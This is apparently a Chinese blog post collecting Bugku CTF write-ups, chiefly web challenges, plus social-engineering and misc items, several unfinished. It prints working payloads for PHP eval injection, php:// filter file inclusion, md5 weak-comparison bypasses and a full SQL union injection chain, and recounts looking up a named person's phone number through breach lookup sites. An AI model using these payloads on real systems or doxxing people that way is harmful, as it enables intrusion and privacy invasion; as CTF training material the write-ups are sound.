Bugku-WP

一、Web

1、Web2

1.题目描述

2.解题思路

F12了解一下

KEY{Web-2-bugKssNNikls9100}

2、计算器

1.题目描述

2.解题思路

1.尝试输入答案,结果输入框只能输入一位数,由此看来,输入框被做了修改。

2.找到maxlength参数,修改1为任意大小,即位数!

3.输入结果得flag

flag{CTF-bugku-0032}

3、web基础$_GET

1.题目描述

2.解题思路

1.而从代码来看就是通过get方式传入what参数,并且让what等于flag,即可获得flag

flag{bugku_get_su8kej2en}

4、web基础$_POST

1.题目描述

2.解题思路

同上题一样,这题只是通过POST方式传入what参数,并且让what参数等于flag的时候,输出flag。我们用Hacker bar来实现。

flag{bugku_get_ssseint67se}

5、矛盾

1.题目描述

2.解题思路

需要GET传入num为数字1才能输出flag,但是如果输入纯数字的话,直接不满足if条件,进不去if语句里面,就输出不了flag。
但是这里判断num等于1,用的是==,而不是===,就用到了php弱类型比较,即 1 == 1a是为true的。弱类型比较自行参照搜索引擎~如果一个数值和字符串进行比较的时候,会将字符串转换成数值

构造:http://123.206.87.240:8002/get/index1.php?num=1a

flag{bugku-789-ps-ssdf}

6、web3

1.题目描述

2.解题思路

1.查看网页源代码。

2.使用html解码,得到flag。

KEY{J2sa42ahJK-HS11III}

7、域名解析

1.题目描述

2.解题思路

域名解析需要修改hosts文件,这里我们使用kali虚拟机进行这道题的解答。首先打开hosts文件,将host文件修改为下图这样,然后直接访问flag.bugku.com得到flag

KEY{DSAHDSJ82HDS2211}

8、你必须让他停下

1.题目描述

2.解题思路

这题进来之后会一直刷新,原因在于前端这串js,直接通过burp抓包,然后无限重放,即可获得flag。

flag{dummy_game_1s_s0_popular}

9、本地包含

1.题目描述

题目链接挂掉了。。。

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

2.解题思路

这题从代码来看就是从hello参数传入数据,然后在eval把传入的数据执行。那其实payload很简单,直接通过file_get_content()方式读取文件就好了。

payload:?hello=file_get_contents('./flag.php')
即可看到flag源码了
flag{bug-ctf-gg-99}
对_REQUEST[]函数并不是很了解,百度得到它对get/Post都可以接受.
其中第一句话include“flag.php”说明该文件在本地.
第二句话要获得hello的值,由于hello为’hello’,所以无论在url栏中对hello赋任何值,都会全盘接受,其中var_dump()是将a打印到界面中,在根据eval函数的特性(计算后面括号中的表达式).
根据这一特性,我们尝试将flag.php文件直接输出.
构造如下:
http://120.24.86.145:8003/?hello=1);print_r(file("./flag.php"));%23
使原文语句为:
eval(“var_dump(1);print_r(file(“./flag.php”))”)
另外一种方法是直接对hello赋值为hello=file_get_contents('flag.php')然后查按F12可以知道flag

10、变量1

1.题目描述

2.解题思路

这里代码的意思通过args参数传入数据,先判断变量是否被设置了,然后进入循环,在循环会经过正则表达式判断。这个正则表达的是的意思是:^是表示正则表达式的开始,$表示正则表达式的结束,/w表示任意大小写字母或数字或下划线,+号表示1到多个/w。因此要求args传入的数据中不能带有字母数字下划线,这里可能就没办法命令执行了。但是题目提示flag在变量中,又看到了最后一行eval("var_dump($$args);") ;这里其实可以传入GLOBALS,这样就相当于执行eval("var_dump($GLOBALS)";);而$GLOBALS 就是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

观察程序,很明显看到了$$args,考虑到此题可能考GLOBALS变量

分析一下,可以看到var_dump那里出现$$,存在变量覆盖,前面正则对args进行了过滤,只能输入[a-z][0-9][A-Z]。因为存在变量覆盖,所以我们传入args=GLOBALS,即可达到输出$GLOBALS数组的目的,GLOBALS为php的超全局变量,一个包含了全部变量的全局组合数组。

构造如下赋值即可:http://123.206.87.240:8004/index1.php?args=GLOBALS

flag{92853051ab894a64f7865cf3c2128b34}

11、web5

1.题目描述

2.解题思路

F12查看网页源代码,发现了一大堆[]()组合,从题目中也可以看到是JSFUCK加密。直接复制黏贴丢到chrome控制台出来flag。

CTF{WHATFK}

12、头等舱

1.题目描述

2.解题思路

打开页面之后,发现什么都没有,右键源代码也没有,最后抓个包发现结果存在于HTTP响应包的头部。

flag{Bugku_k8_23s_istra}

13、网站被黑

1.题目描述

2.解题思路

先用dirsearch扫描一遍目录,发现shell.php

打开后显示需要输入密码

Burp suite抓包,爆破!使用内置password字典即可。

输入hack,得到flag

flag{hack_bug_ku035}

14、管理员系统

1.题目描述

2.解题思路

随便输入账号密码

发现ip禁止访问,就想到X-Forwarded-For Header插件伪造一个IP地址,F12看了一下,好诡异,最后有一个base64加密~

先解密,发现是test123可能是密码

在来伪造一下IP头

输入admin和密码test123,即可得到flag

flag{85ff2ee4171396724bae20c0bd851f6b}

15、web4

1.题目描述

2.解题思路

查看网页源代码

在源码里发现了一个编码后的js,看编码应该是url编码。

<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>

解码

<script>
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));
</script>

这里具体逻辑应该将p1+54aa2+p2拼接起来,最后输入验证,即可获得flag。
所以提交67d709b2b54aa2aa648cf6e87a7114f1,就可以获得flag。

KEY{J22JK-HS11}

16、flag在index里

1.题目描述

2.解题思路

很明显存在文件包含,结合题目标题 flag在index里,构造payload:

http://123.206.87.240:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

获取index.php源码将获取到的base64解码后得到网页源码,找到flag

flag{edulcni_elif_lacol_si_siht}

17、输入密码查看flag

1.题目描述

2.解题思路

题目拼音提示我们baopo,猜测是需要爆破解决,这里直接通过burp抓获数据包,然后放到intruder模块内爆破即可,爆破结果13579。

flag{bugku-baopo-hah}

18、点击一百万次

1.题目描述

题目如图,每点击这个图片一次,数量加1,当数量为100万的时候出来flag

2.解题思路

这里如果真点击一百万次,估计鼠标要炸了,右键查看js源码,发现一串js

<script>
  var clicks=0
  $(function() {
    $("#cookie")
      .mousedown(function() {
        $(this).width('350px').height('350px');
      })
      .mouseup(function() {
        $(this).width('375px').height('375px');
        clicks++;
        $("#clickcount").text(clicks);
        if(clicks >= 1000000){
        	var form = $('<form action="" method="post">' +
				'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
				'</form>');
				$('body').append(form);
				form.submit();
        }
      });
  });
</script>

分析可知,点击一次clicks加1,当clicks大于100万的时候,提交一个表单,value等于clicks的值,所以我们直接POST提交clicks即可。

flag{Not_C00kI3Cl1ck3r}

19、备份是个好习惯

1.题目描述

2.解题思路

先用dirsearch扫一遍,题目描述是备份是个好习惯猜测可能是备份文件泄露漏洞。于是访问index.php.bak,可以下载。于是打开备份文件查看源码。

下载之后源码是这样的,代码逻辑其实是通过url读入参数,然后将参数进行分割,如果参数中存在key,就将其替换,最后要求(md5($key1) == md5($key2) && $key1 !== $key2)。  

所以构造payload:
http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=wqerqwe
Bugku{OH_YOU_FIND_MY_MOMY}
其他:
分析一下,这里代码意思是,第11行获取url ?及?后的字符串,第12行去除?,第13行剩下字符串中的key替代成'',第14行解析字符串,即将 key1=234&amp;key2=123解析成key2=123。
到了这里就应该明白了,主要考察两个点,第一是13行处,绕过str_replace。绕过之后,来到第二处,md5弱类型比较。
对于第一个点,可以使用双写绕过,第二个点的话,可以利用两个字符串md5都是0e开头绕过,或者将key1 key2赋为两个不同数组进行绕过(md5不能对数组进行操作,会返回null=null)
payload1: http://123.206.87.240:8002/web16/index.php?kekeyy1=QNKCDZO&amp;kekeyy2=aabg7XSs
payload2: http://123.206.87.240:8002/web16/index.php?kekeyy1[]=1&amp;kekeyy2[]=12

~要求key1和key2的md5值相等,但是值不相等
百度得这两个值为240610708和QNKCDZO,尝试赋值,并没有什么变化
继续观察源程序,发现程序中将key字符变为空,考虑用kkeyey取代key,
然后果然得到了flag

20、成绩单

1.题目描述

2.解题思路

这题看情况,似乎是注入先试试。先试试id=1正常输出,然后试试id=1'没有东西输出,再试试注释之后id=1'#又可以正常显示,所以这里应该有注入了。

id=1' order by 4#       //猜测列数,4列。
id=-1' union select 1,database(),2,3 #  //查询数据库名skctf_flag
id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#                            //表名 fl4g,sc
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#   //列名skctf_flag
id=-1' union select 1,skctf_flag,2,3 from fl4g#    //查询flag
BUGKU{Sql_INJECT0N_4813drd8hz4}

未完待续~

二、社会工程

1、密码

1.题目描述

2.解题思路

分析:这个是典型的弱口令,猜了一下,KEY是姓名+生日

 KEY{zs19970315}

2、信息查找

1.题目描述

2.解题思路

使用谷歌语法 bugku.cn site:toutiao.com

KEY{462713425}

3、简单个人信息收集

1.题目描述

2.解题思路

下载压缩包1.zip。本来想用爆破的,但是没找出来密码,感觉可能不是爆破,就是试了一下是不是zip伪加密,发现果然是伪加密。

解开后,打开压缩包里面的1.txt文档内容为:在哈尔滨市阿城区胜利街六委十三组 有个叫杜甫的你能把他的手机号找到吗?flag格式  flag{手机号}

这个题归在社工里面所有要用社工库查询(需要扶墙,你懂得)。进入在线查询网站后~~~社工库挂掉了。。。。。。

开始搜索杜甫,ctrl+f搜索地点

flag{15206164164}

4、社工进阶

1.题目描述

2.解题思路

5、

1.题目描述

2.解题思路

6、

1.题目描述

2.解题思路

未完待续~

三、Misc

1、签到题

1.题目描述

2.解题思路

没什么好说的,扫码即可得到flag

flag{BugKu-Sec-pwn!}

2、这是一张单纯的图片

1.题目描述

2.解题思路

用文本编辑器打开后,看到了一串编码,猜测为Unicode编码。

key{you are right}

3、隐写

1.题目描述

2.解题思路

4、

1.题目描述

2.解题思路

5、

1.题目描述

2.解题思路

6、

1.题目描述

2.解题思路

7、

1.题目描述

2.解题思路

8、

1.题目描述

2.解题思路

未完待续~

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇